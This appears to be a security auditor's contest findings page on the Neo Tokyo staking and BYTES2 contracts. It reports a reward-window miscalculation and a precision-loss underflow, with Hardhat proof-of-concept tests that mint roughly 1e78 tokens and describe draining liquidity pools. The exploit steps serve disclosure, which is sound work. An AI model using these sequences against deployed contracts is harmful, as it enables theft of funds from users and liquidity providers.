Neo Tokyo contest - Haipls's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1312 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1319 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1376 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1378 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1433 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1434 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1435

Vulnerability details

Title: Incorrect calculation of rewards

Risk rating: High

Impact

The main impact is the incorrect issuance and calculation of the reward amount for the user in a greater or lesser way depending on the conditions. Affects stake S1, S2, LP.

Proof of Concept

Taking into account the names of the tests, answers to questions in discord, and documentation, we conclude: The reward must be distributed according to the following rules:

1. If there is one reward window per pool then the reward is valid from 0 timestamp until there is a new configuration
2. If a second window or more appears, then the new amount of reward begins to work from the startTime of the new window. Accordingly, the reward amount of the window is valid from its startTime to the startTime of the next window after it

But in practice, this is not the case

Short

The implementation of the reward calculation algorithm in the method staking/NeoTokyoStaker.sol#getPoolReward and the use of staking/NeoTokyoStaker.sol#RewardWindow is inaccurate with various errors, which leads to the fact that users receive an incorrect reward amount

Example: if User A stakes coins and expects an increase in emission (adding new reward windows) then the reward parameter from the last reward window will be applied for the interval from the moment of the stake to the new user action. This will result in an increased or decreased number of rewards for past window/windows starting from lastPoolRewardTime for the user

Why does this happen?

1. Complexity of the reward calculation mechanism
2. The presence of logical errors in it
3. Documentation mismatch

Proof

An example of a case where the user receives 5.6x more reward than he must receive:

Let's take the following initial settings for simulation and search for a problem, consider a certain ideal case that is easy to understand: The fact that the user's single stake or daoTax - 0 is taken does not affect anything, but it makes it easier to explain the problem

Diagram with calculation and example flow

1. The administration deployed the contracts and set the initial reward window settings for S2: startTime - 0, reward - 10e18, daoTax - 0

2. User A stake one S2 Citizen. Time point: May 13 2025, 1747110911 During stake tx calling next method:

stakings/NeoTokyoStaker.sol

1226:		IByteContract(BYTES).getReward(msg.sender);

As a result, since the user did not have stakes before this, no reward is given, and the moment of the last reward request is updated to the value 1747110911

stakings/NeoTokyoStaker.sol

1433:		lastRewardTime[_recipient][AssetType.S1_CITIZEN] = block.timestamp;
1434:		lastRewardTime[_recipient][AssetType.S2_CITIZEN] = block.timestamp;
1435:		lastRewardTime[_recipient][AssetType.LP] = block.timestamp;

3. Use A just waiting

4. After a certain time, the Administration changes the reward amount (adds a new reward window). Reward windows settings: startTime - 1776227711, reward - 100e18, daoTax - 0, window settings are now as follows

          rewardWindows: [
            {
              startTime: 0,
              reward: ethers.utils.parseEther("10"),
            },
            {
              startTime: 1776227711, // Apr 15 2026 - 1776227711
              reward: ethers.utils.parseEther("100"),
            },
          ],

5. User A makes a reward withdrawal after a configuration change - time point: May 13 2026, 1778654302

stakings/NeoTokyoStaker.sol

1409:    claimReward(`User A`) -> 

1423:		(uint256 s2Reward, uint256 s2Tax) = getPoolReward(
1424:			AssetType.S2_CITIZEN,
1425:			_recipient
1426:		); ->

1264:    -> getPoolReward

1309:		uint256 totalReward;
			uint256 lastPoolRewardTime = lastRewardTime[_recipient][_assetType]; # equal May 13 2025, 1747110911 from step 2
			uint256 windowCount = pool.rewardCount; # equal 2
			for (uint256 i; i < windowCount; ) { # 0 < 2
				RewardWindow memory window = pool.rewardWindows[i];

                                # for first iteration 1747110911 < 0 -> FALSE
                                # for second iteration and more 1747110911 < 1776227711 -> FALSE 
				if (lastPoolRewardTime < window.startTime) {
                                          /* ... */ 
                                  # for first iteratoin 0 == 2 - 1 -> FALSE
                                  # for second iteration 1 == 2 - 1 -> TRUE
				} else if (i == windowCount - 1) { 
                                   # the flow in the entire iteration of flow went only here.
                                   # the reward that should have been provided for the period of the first window was not calculated for the user
					unchecked {
                                                # timeSinceReward = 1778654302 - 1747110911 = 31,543,391 seconds from last `getReward` for user
                                                # which included the time of window 0 and window 1
						uint256 timeSinceReward = block.timestamp - lastPoolRewardTime;
                                                # totalReward =  100 * 31,543,391 = 3,154,339,100  reward will provide for user
                                                # the reward parameter for the last window is multiplied by the time spent in window 0 + window 1, which is the ISSUE
						totalReward = window.reward * timeSinceReward;
					}
                                        # go out from for
					break;
				}
				unchecked { i++; } # first iteration end just gone to next
			}
		}

4. Test Result

[1747110911 - May 13 2026] Bob reward count before stake: 0.0
[1778654302 - May 13 2026] Bob reward count: 533827090.0

Create a new file that includes a part of NeoTokyoStaker and its logic + a test to check the calculation is incorrect

"use strict";

// Imports.
import { ethers } from "hardhat";
import { expect, should } from "chai";
import {
  CLASS_TO_ID,
  ASSETS,
  DEDUCE_IDENTITY_CREDIT_YIELDS,
  IDENTITY_CREDIT_POINTS,
  VAULT_MULTIPLIERS,
  VAULT_CREDIT_MULTIPLIER_IDS,
  TIMELOCK_OPTION_IDS,
} from "./utils/constants";
import { prepareContracts } from "./utils/setup";
should();

/*
	Test the updated BYTES token and the staker for correct behavior. Describe the
	contract testing suite, retrieve testing wallets, and create contract
	factories from the artifacts we are testing.
*/
describe("Testing BYTES 2.0 & Neo Tokyo Staker", function () {
  // Track the current time and snapshot ID for reverting between tests.
  let currentTime, snapshotId;

  // Prepare several testing callers.
  let owner, alice, bob, nonCitizen, whale, treasury;

  // Neo Tokyo S1 contract instances.
  let beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes;

  // Neo Tokyo S2 contract instances.
  let NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy;

  // Various mock testing contracts.
  let CitizenMint, VaultMint, IdentityMint, LPToken;

  // New Neo Tokyo BYTES 2.0 and staker contract instances.
  let NTBytes2_0, NTStaking;

  // Prepare the Neo Tokyo ecosystem before each test.
  before(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    // Prepare testing callers.
    owner = {
      provider: signers[0].provider,
      signer: signers[0],
      address: addresses[0],
    };
    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };
    bob = {
      provider: signers[2].provider,
      signer: signers[2],
      address: addresses[2],
    };
    nonCitizen = {
      provider: signers[3].provider,
      signer: signers[3],
      address: addresses[3],
    };
    whale = {
      provider: signers[4].provider,
      signer: signers[4],
      address: addresses[4],
    };
    treasury = {
      provider: signers[5].provider,
      signer: signers[5],
      address: addresses[5],
    };

    // Prepare all of the Neo Tokyo S1, S2, and new contracts for testing.
    [
      beckLoot,
      NTItems,
      NTLandDeploy,
      vaultBox,
      NTCitizenDeploy,
      NTOldBytes,
      VaultMint,
      IdentityMint,
      LPToken,
      CitizenMint,
      NTOuterCitizenDeploy,
      NTOuterIdentity,
      NTS2Items,
      NTS2LandDeploy,
      NTBytes2_0,
      NTStaking,
    ] = await prepareContracts(treasury.address);
  });

  // Accelerate tests by taking snapshot of the current block before each test.
  beforeEach(async function () {
    currentTime = (await ethers.provider.getBlock()).timestamp;
    snapshotId = await network.provider.send("evm_snapshot");
  });

  // Revert to the snapshot block after each test.
  afterEach(async function () {
    await network.provider.send("evm_revert", [snapshotId]);
  });

  // Prepare to test staker functionality.
  describe("with example configuration", function () {
    // The IDs of Bob's S2 Citizens.
    let s2One;

    // Mint tokens to the testing callers before each test.
    before(async () => {
      await NTLandDeploy.setBytesAddress(NTBytes2_0.address);
      await NTCitizenDeploy.setBytesAddress(NTBytes2_0.address);
      await NTOuterCitizenDeploy.setBytesAddress(NTBytes2_0.address);
      await NTS2Items.setBytesAddress(NTBytes2_0.address);
      await NTS2LandDeploy.setBytesAddress(NTBytes2_0.address);

      async function createS2Citizen(_citizenHolder) {
        let identityIdS2, itemCacheIdS2, landDeedIdS2;
        identityIdS2 = (await NTOuterIdentity.totalSupply()).add(
          ethers.BigNumber.from("1")
        );

        /*
					Use administrative powers to claim a new S2 Identity for the desired 
					`_citizenHolder`.
				*/
        await NTOuterIdentity.connect(owner.signer).ownerClaim(identityIdS2);
        await NTOuterIdentity.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          identityIdS2
        );

        // Claim a new S2 Item for the desired holder.
        itemCacheIdS2 = (await NTS2Items.totalSupply()).add(
          ethers.BigNumber.from("1")
        );
        await NTS2Items.connect(owner.signer).emergencyClaim(
          identityIdS2,
          itemCacheIdS2
        );
        await NTS2Items.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          itemCacheIdS2
        );

        // Claim a new S2 Land Deed for the desired holder.
        landDeedIdS2 = (await NTS2LandDeploy.totalSupply()).add(
          ethers.BigNumber.from("1")
        );
        await NTS2LandDeploy.connect(owner.signer).emergencyClaim(
          identityIdS2,
          landDeedIdS2
        );
        await NTS2LandDeploy.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          landDeedIdS2
        );

        // Approve the transfer of the holder's components.
        await NTOuterIdentity.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          identityIdS2
        );
        await NTS2Items.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          itemCacheIdS2
        );
        await NTS2LandDeploy.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          landDeedIdS2
        );

        // Assemble the holder's S2 Citizen.
        await NTOuterCitizenDeploy.connect(_citizenHolder.signer).createCitizen(
          identityIdS2,
          itemCacheIdS2,
          landDeedIdS2,
          false,
          ""
        );

        // Return the ID of the new S2 Citizen.
        return NTOuterCitizenDeploy.totalSupply();
      }

      // Create two S2 Citizens for Bob.
      s2One = await createS2Citizen(bob);

      // Have Bob approve the staker to transfer his S2 Citizens.
      await NTOuterCitizenDeploy.connect(bob.signer).approve(
        NTStaking.address,
        s2One
      );

      await NTStaking.connect(owner.signer).configureTimelockOptions(
        ASSETS.S2_CITIZEN.id,
        [...Array(ASSETS.S2_CITIZEN.timelockOptions.length).keys()],
        ASSETS.S2_CITIZEN.timelockOptions
      );

      // Configure each of the stakeable assets with daily reward rates.
      await NTStaking.connect(owner.signer).configurePools([
        {
          assetType: ASSETS.S2_CITIZEN.id,
          daoTax: 0,
          rewardWindows: [
            {
              startTime: 0,
              reward: ethers.utils.parseEther("10"),
            },
          ],
        },
      ]);
    });

    it("ISSUE TEST", async function () {
      // General timePoint's
      // Window 0 startTime = 0
      // Window 1 startTime =  1776227711 = Apr 15 2026
      // Bob last stake time = 1747110911 = May 13 2025
      // Bob get reward time = 1778654302 = May 13 2026

      ethers.provider.send("evm_setNextBlockTimestamp", [1747110911]);
      ethers.provider.send("evm_mine");

      // Stake Bob's S2 Citizens
      let rewards = await NTStaking.getPoolReward(ASSETS.S2_CITIZEN.id, bob.address)
      console.log(`[1747110911 - May 13 2026] Bob reward count before stake: ${ethers.utils.formatEther(rewards[0])}`)

      await NTStaking.connect(bob.signer).stake(
        ASSETS.S2_CITIZEN.id,
        TIMELOCK_OPTION_IDS["30"],
        s2One,
        0,
        0
      );

      await NTStaking.connect(owner.signer).configurePools([
        {
          assetType: ASSETS.S2_CITIZEN.id,
          daoTax: 0,
          rewardWindows: [
            {
              startTime: 0,
              reward: ethers.utils.parseEther("10"),
            },
            {
              startTime: 1776227711,
              reward: ethers.utils.parseEther("100"),
            },
          ],
        },
      ]);

      ethers.provider.send("evm_setNextBlockTimestamp", [1778654302]);
      ethers.provider.send("evm_mine");

      rewards = await NTStaking.getPoolReward(ASSETS.S2_CITIZEN.id, bob.address)
      console.log(`[1778654302 - May 13 2026] Bob reward count: ${ethers.utils.formatEther(rewards[0])}`)
    });
  });
});

Tools Used

• hardhat
• manual review
• draw io
• https://discord.com/channels/810916927919620096/1082395240566104216/1083446561155055617

Recommended Mitigation Steps

• Сorrect logical errors or rewrite all logic to a standard cumulative algorithm

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/BYTES2.sol#L114 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/BYTES2.sol#L124 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L200 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L203 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1098 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1155 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1161 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1627 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1388 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1389

Vulnerability details

Impact

• CRITICAL: Mint ~ 1e78 project coins, Withdrawal of all liquidity from LP etc
• Underflow of points
• Sole recipient of rewards
• The discrepancy between the user's points and his staked amount
• Ability to have points without staked coins -> get free reward
• The user does not receive points for staked coins
• Lock tokens
• Can block withdraw for all user

Proof of Concept

Next, the main problems will be proved. There are not enough characters to prove the all parts of impact

The root cause of the problem is the use of insufficient precision for the calculation of points and the presence of unchecked section

staking/NeoTokyoStaker.sol

200:	uint256 constant private _DIVISOR = 100;

203: 	uint256 constant private _BYTES_PER_POINT = 200 * 1e18;

In the following places, it turns into various issues:

staking/NeoTokyoStaker.sol

// _stakeBytes
1077:				uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT);

1098:				uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT);

// _stakeLP
1155:			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

Namely, it is possible to achieve a discrepancy between amount and points The result is Critical Issues for the Project level that go beyond NeoTokyoStaker.sol

---

CRITICAL: Mint slightly less than MAX_UINT256 project coins, Withdrawal of all liquidity from LP etc

This is the worst case since the user will get a HUGE number of tokens ~ 1e78

timelockMultiplier = 100 - get from tests

taxDao = 300 - get from tests

1. User A stake 0.009 LP tokens

staking/NeoTokyoStaker.sol
      #    0.009e18 * 100 / 1e18 * 100/100 = 0.9e18/1e18 * 1 = 0
1155:			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
      #   increase user lp position on 0.009e18
1160:			stakerLPPosition[msg.sender].amount += amount;
      #   increase user points on 0
1161:			stakerLPPosition[msg.sender].points += points;

State after stake:

stakerLPPosition[msg.sender].amount = 0.009e18
stakerLPPosition[msg.sender].points = 0

2. User A stake 0,009 LP tokens

stakerLPPosition[msg.sender].amount = 0.018e18
stakerLPPosition[msg.sender].points = 0

3. User A withdraw 0,018 LP tokens

staking/NeoTokyoStaker.sol

1622:		unchecked {
        # points = 0,018e18 * 100 / 1e18 * 100/100 = 1,8e18/1e18 * 1 = 1
1623:			  uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

        # 0,018e18 - 0,018e18 = 0
1626			  lpPosition.amount -= amount;
        # 0 - 1 = MAX_UINT256 - 1 // UNDERFLOW
1627:			  lpPosition.points -= points;

4. Since underflow was caused. User a receive 115792089237316195423570985008687907853269984665640564039457584007913129639935 points
5. User A call getReward in next block

staking/BYTES2.sol
114: -> getReward(`User A`)

  120: -> IStaker(STAKER).claimReward(_to);

staking/NeoTokyoStaker.sol
  1409: -> claimReward(`User A`)
    1427: -> getPoolReward(AssetType.LP, `User A`)

      1298: 	points += stakerLPPosition[_recipient].points;

      /* ... */ calculate `totalReward`

      1387:		unchecked {
                  uint256 share = points * _PRECISION / pool.totalPoints * totalReward; // also overflow because we have 1e78 points
                  uint256 daoShare = share * pool.daoTax / (100 * _DIVISOR); // also overflow
                  share /= _PRECISION; 
                  daoShare /= _PRECISION;
                  return ((share - daoShare), daoShare); 
			       }
      1427: (uint256 lpReward, uint256 lpTax) = ... // <-  return `1e78` share and `1e78` daoShare. does not succeed in accuracy as it is not particularly important
      1453: return (totalReward, totalTax); // <- return  `1e78` share and `1e78` to BYTES2 getReward method

staking/BYTES2.sol
  	(
			uint256 reward,
			uint256 daoCommision
		) = IStaker(STAKER).claimReward(_to); // return  `1e78` share and `1e78`

		// Mint both reward BYTES and the DAO tax to targeted recipients.
		if (reward > 0) {
			_mint(_to, reward); // mint for user 1e78 tokens
		}
		if (daoCommision > 0) {
			_mint(TREASURY, daoCommision); // mint for dao 1e78 tokens
		}

6. User A receive 1e78 tokens after getReward
7. User sells all tokens and get all >99.9 liquidity from all LP

---

The user does not receive points for staked coins

In case the user wants to boost his S1 or S2 citizen and will stake an amount less than 1.[9] BYTES at a time he will not receive any points

Proof

1. User A stake S1 Citizen
2. User A calls stake with AssetType.BYTES and want stake bytes in the period [1; 2e18 - 1] he will have 0 bonus points As a result, we get the following:

At the time of calculation, we get bonusPoints = 0

staking/NeoTokyoStaker.sol

1077: 				uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT);

Example with stake amount equal = 1.99e18 = 1.99 BYTES bonusPoints = 1.99e18 * 100 / (200 * 1e18) -> 199e18/200e18 -> 0

The user can repeat this procedure as many times as he wants, but in practice he will not receive any points

This also applies to stake LP for amount = [0, 1e16)

staking/NeoTokyoStaker.sol

1157			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

Example, timelockMultiplier = 100 - from test

points = 0.99e16 * 100 / 1e18 * 100 / 100 -> 0.99e18/1e18 * 100/100 = 0

This is independent of timelockMultiplier. We see that when the user stakes less then 0.01 LP, he does not receive any points

• User A increase stakedBytes on

staking/NeoTokyoStaker.sol

1078:				citizenStatus.stakedBytes += amount;

There will be a moment when the calculation at the withdrawal will not return 0, when the user will have 0 in points, which will cause an underfill and get all the rewards in one hand

staking/NeoTokyoStaker.sol
1622: 		unchecked {
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
1627:			lpPosition.points -= points;
1631:}

---

Ability to have points without staked LP tokens. Free reward

The user can do the reverse action to the previous points, in which case he will take tokens without reducing his points amount

Proof

Example

1. User A stake 1 LP tokens and recive 100 points

staking/NeoTokyoStaker.sol

1154:		unchecked {
          #  points = 1e18*100 / 1e18 * 100/ 100 = 1e20/1e18 * 1 = 100
1155:			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
1156:
1158:			stakerLPPosition[msg.sender].timelockEndTime =
1159:				block.timestamp + timelockDuration;
          # update user balance to 1e18 LP tokens
1160:			stakerLPPosition[msg.sender].amount += amount;
          # update user points to 100 points
1161:			stakerLPPosition[msg.sender].points += points;
1165:		}

2. User A withdraw LP tokens by 0.009[9] LP per tx until his balance is withdrawn

staking/NeoTokyoStaker.sol

1622: unchecked {
          # points = 0.009[9]e18*100 / 1e18 * 100/100 = 0.9[9]e18/1e18 * 1 = 0
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
          # amount of user decreae on 0.009[9] tokens        
1626:			lpPosition.amount -= amount;
          # points of user not decrease
1627:			lpPosition.points -= points;
    			# total points also not decrease
1630:			pool.totalPoints -= points;
1631: }

---

3. User A can get rewards because have points just without staked tokens -> Free reward

---

Test for Critical case

This is the test itself - TEST MINT 1e78 bytes token by underflow all the rest are taken from the main test

"use strict";

// Imports.
import { ethers } from "hardhat";
import { expect, should } from "chai";
import {
  CLASS_TO_ID,
  ASSETS,
  DEDUCE_IDENTITY_CREDIT_YIELDS,
  IDENTITY_CREDIT_POINTS,
  VAULT_MULTIPLIERS,
  VAULT_CREDIT_MULTIPLIER_IDS,
  TIMELOCK_OPTION_IDS,
} from "./utils/constants";
import { prepareContracts } from "./utils/setup";
should();

/*
	Test the updated BYTES token and the staker for correct behavior. Describe the
	contract testing suite, retrieve testing wallets, and create contract
	factories from the artifacts we are testing.
*/
describe("Testing BYTES 2.0 & Neo Tokyo Staker", function () {
  // Track the current time and snapshot ID for reverting between tests.
  let currentTime, snapshotId;

  // Prepare several testing callers.
  let owner, alice, bob, nonCitizen, whale, treasury;

  // Neo Tokyo S1 contract instances.
  let beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes;

  // Neo Tokyo S2 contract instances.
  let NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy;

  // Various mock testing contracts.
  let CitizenMint, VaultMint, IdentityMint, LPToken;

  // New Neo Tokyo BYTES 2.0 and staker contract instances.
  let NTBytes2_0, NTStaking;

  // Prepare the Neo Tokyo ecosystem before each test.
  before(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    // Prepare testing callers.
    owner = {
      provider: signers[0].provider,
      signer: signers[0],
      address: addresses[0],
    };
    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };
    bob = {
      provider: signers[2].provider,
      signer: signers[2],
      address: addresses[2],
    };
    nonCitizen = {
      provider: signers[3].provider,
      signer: signers[3],
      address: addresses[3],
    };
    whale = {
      provider: signers[4].provider,
      signer: signers[4],
      address: addresses[4],
    };
    treasury = {
      provider: signers[5].provider,
      signer: signers[5],
      address: addresses[5],
    };

    // Prepare all of the Neo Tokyo S1, S2, and new contracts for testing.
    [
      beckLoot,
      NTItems,
      NTLandDeploy,
      vaultBox,
      NTCitizenDeploy,
      NTOldBytes,
      VaultMint,
      IdentityMint,
      LPToken,
      CitizenMint,
      NTOuterCitizenDeploy,
      NTOuterIdentity,
      NTS2Items,
      NTS2LandDeploy,
      NTBytes2_0,
      NTStaking,
    ] = await prepareContracts(treasury.address);
  });

  // Accelerate tests by taking snapshot of the current block before each test.
  beforeEach(async function () {
    currentTime = (await ethers.provider.getBlock()).timestamp;
    snapshotId = await network.provider.send("evm_snapshot");
  });

  // Revert to the snapshot block after each test.
  afterEach(async function () {
    await network.provider.send("evm_revert", [snapshotId]);
  });

  // Prepare to test staker functionality.
  describe("with example configuration", function () {
    // The IDs of Bob's S2 Citizens.
    let s2One;

    // Mint tokens to the testing callers before each test.
    before(async () => {
      await NTLandDeploy.setBytesAddress(NTBytes2_0.address);
      await NTCitizenDeploy.setBytesAddress(NTBytes2_0.address);
      await NTOuterCitizenDeploy.setBytesAddress(NTBytes2_0.address);
      await NTS2Items.setBytesAddress(NTBytes2_0.address);
      await NTS2LandDeploy.setBytesAddress(NTBytes2_0.address);

      async function createS2Citizen(_citizenHolder) {
        let identityIdS2, itemCacheIdS2, landDeedIdS2;
        identityIdS2 = (await NTOuterIdentity.totalSupply()).add(
          ethers.BigNumber.from("1")
        );

        /*
					Use administrative powers to claim a new S2 Identity for the desired 
					`_citizenHolder`.
				*/
        await NTOuterIdentity.connect(owner.signer).ownerClaim(identityIdS2);
        await NTOuterIdentity.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          identityIdS2
        );

        // Claim a new S2 Item for the desired holder.
        itemCacheIdS2 = (await NTS2Items.totalSupply()).add(
          ethers.BigNumber.from("1")
        );
        await NTS2Items.connect(owner.signer).emergencyClaim(
          identityIdS2,
          itemCacheIdS2
        );
        await NTS2Items.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          itemCacheIdS2
        );

        // Claim a new S2 Land Deed for the desired holder.
        landDeedIdS2 = (await NTS2LandDeploy.totalSupply()).add(
          ethers.BigNumber.from("1")
        );
        await NTS2LandDeploy.connect(owner.signer).emergencyClaim(
          identityIdS2,
          landDeedIdS2
        );
        await NTS2LandDeploy.connect(owner.signer).transferFrom(
          owner.address,
          _citizenHolder.address,
          landDeedIdS2
        );

        // Approve the transfer of the holder's components.
        await NTOuterIdentity.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          identityIdS2
        );
        await NTS2Items.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          itemCacheIdS2
        );
        await NTS2LandDeploy.connect(_citizenHolder.signer).approve(
          NTOuterCitizenDeploy.address,
          landDeedIdS2
        );

        // Assemble the holder's S2 Citizen.
        await NTOuterCitizenDeploy.connect(_citizenHolder.signer).createCitizen(
          identityIdS2,
          itemCacheIdS2,
          landDeedIdS2,
          false,
          ""
        );

        // Return the ID of the new S2 Citizen.
        return NTOuterCitizenDeploy.totalSupply();
      }

      // Create two S2 Citizens for Bob.
      s2One = await createS2Citizen(bob);

      // Have Bob approve the staker to transfer his S2 Citizens.
      await NTOuterCitizenDeploy.connect(bob.signer).approve(
        NTStaking.address,
        s2One
      );

      await NTStaking.connect(owner.signer).configureTimelockOptions(
        ASSETS.LP.id,
        [...Array(ASSETS.LP.timelockOptions.length).keys()],
        ASSETS.LP.timelockOptions
      );

      // Mint testing LP tokens to users and approve transfer to the staker.
      await LPToken.mint(alice.address, ethers.utils.parseEther("1000"));
      await LPToken.mint(bob.address, ethers.utils.parseEther("1000"));
      await LPToken.connect(alice.signer).approve(
        NTStaking.address,
        ethers.constants.MaxUint256
      );
      await LPToken.connect(bob.signer).approve(
        NTStaking.address,
        ethers.constants.MaxUint256
      );

      // Configure each of the stakeable assets with daily reward rates.
      await NTStaking.connect(owner.signer).configurePools([
        {
          assetType: ASSETS.LP.id,
          daoTax: 300,
          rewardWindows: [
            {
              startTime: 0,
              reward: ethers.utils.parseEther("10"),
            },
          ],
        },
      ]);
    });

    it("TEST MINT 1e78 bytes token by underflow", async function () {
      // Just add for provide like another users stakes before...
      await NTStaking.connect(owner.signer).configureLP(LPToken.address);
      await NTStaking.connect(bob.signer).stake(
        ASSETS.LP.id,
        TIMELOCK_OPTION_IDS["30"],
        ethers.utils.parseEther("1000"),
        0,
        0
      );
      // ISSUE
      let priorBlockNumber = await ethers.provider.getBlockNumber();
      let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
      let aliceStakeTime = priorBlock.timestamp;

      let aliceBalanceBeforeStake = await LPToken.balanceOf(alice.address);
      console.log("aliceBalance LP BeforeStake:", ethers.utils.formatEther(aliceBalanceBeforeStake))
      await NTStaking.connect(alice.signer).stake(
        ASSETS.LP.id,
        TIMELOCK_OPTION_IDS["30"],
        ethers.utils.parseEther("0.009"),
        0,
        0
      );
      await NTStaking.connect(alice.signer).stake(
        ASSETS.LP.id,
        TIMELOCK_OPTION_IDS["30"],
        ethers.utils.parseEther("0.009"),
        0,
        0
      );

      // Jump to 31 days after Alice's stake.
      await ethers.provider.send("evm_setNextBlockTimestamp", [
        aliceStakeTime + 60 * 60 * 24 * 31,
      ]);

      ethers.provider.send("evm_mine");

      let aliceBalanceBeforeWithdraw = await LPToken.balanceOf(alice.address);
      console.log("aliceBalance LP BeforeWithdraw:", ethers.utils.formatEther(aliceBalanceBeforeWithdraw))

      await NTStaking.connect(alice.signer).withdraw(
        ASSETS.LP.id,
        ethers.utils.parseEther("0.018")
      );
      let aliceBalanceBeforeGetReward = await NTBytes2_0.balanceOf(alice.address);
      console.log("aliceBalance BYTES 2 BeforeGetReward:", ethers.utils.formatEther(aliceBalanceBeforeGetReward))

      await NTBytes2_0.connect(alice.signer).getReward(alice.address);
      let aliceBalanceAfter= await NTBytes2_0.balanceOf(alice.address);
      console.log("Final alice BYTES 2 Balance:", ethers.utils.formatEther(aliceBalanceAfter))
    });
  });
});

Result:

aliceBalance LP BeforeStake: 1000.0
aliceBalance LP BeforeWithdraw: 999.982
aliceBalance BYTES 2 BeforeGetReward: 0.0
Final alice BYTES 2 Balance: 11579321243181374236613601929758538110070863577.100190436624386452

---

Tools Used

• Manual review
• Remix
• Hardhat

Recommended Mitigation Steps

• Increase the accuracy of points calculations or add a minimum stake amount for stakeBytes and stakeLP
• Remove unchecked to prevent underflow
• Add more require

Balance double check

There is a check for sufficient user balance twice The BYTES1 contract in the burn method has a require for this

contracts/staking/BYTES2.sol

96:		if (IERC20(BYTES1).balanceOf(msg.sender) < _amount) {
97:			revert DoNotHaveEnoughOldBytes(_amount);
98:		}

101:		IByteContract(BYTES1).burn(msg.sender, _amount); 

---

SWC-131 Unused variable

contracts/staking/BYTES2.sol

46:	address immutable public S1_CITIZEN;

the variable is initialized but not used anywhere

---

There is no direct connection between the implementation and the interface

contracts/staking/BYTES2.sol

34:   contract BYTES2 is PermitControl, ERC20("BYTES", "BYTES")

contracts/staking/NeoTokyoStaker.sol
188: contract NeoTokyoStaker is PermitControl, ReentrancyGuard {

Contract BYTES2 must follow the interface IByteContract. Contract NeoTokyoStaker must follow the interface IStaker.

To avoid possible non-compliance with the interface contract. And adding a compile-time check for compliance Example:

contract NeoTokyoStaker is IStaker, PermitControl, ReentrancyGuard

